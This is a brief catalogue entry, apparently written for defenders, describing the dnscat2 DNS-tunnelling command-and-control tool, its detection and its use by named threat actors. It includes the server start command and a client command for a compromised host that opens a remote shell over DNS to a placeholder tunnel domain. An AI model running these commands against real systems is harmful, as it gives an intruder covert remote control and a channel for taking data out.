dnscat2 is a self-hosted tool that creates an encrypted command-and-control channel over the DNS protocol, tunnelling traffic through queries (TXT, MX, CNAME, A) so it survives in networks where only DNS leaves. The operator runs the Ruby server on an authoritative domain and the compromised host runs the C client, which provides a remote shell, port forwarding and file transfer over the tunnel. Because the operator controls the authoritative name server, blocking relies on the binary and DNS-tunneling signal rather than a fixed vendor domain. It is abused for covert C2, observed with the Silence APT and the Symbiote Linux threat, among others.
Starts the operator-controlled dnscat2 server, listening for clients tunnelling through the authoritative domain and exposing an interactive multi-session console.
ruby dnscat2.rb <TUNNEL_DOMAIN>Runs the client on a compromised host, establishing an encrypted DNS tunnel to the server for a remote shell, port forwarding or file transfer (--dns server=<ip>,port=53 dials a resolver directly).
./dnscat2 --secret <SECRET> <TUNNEL_DOMAIN>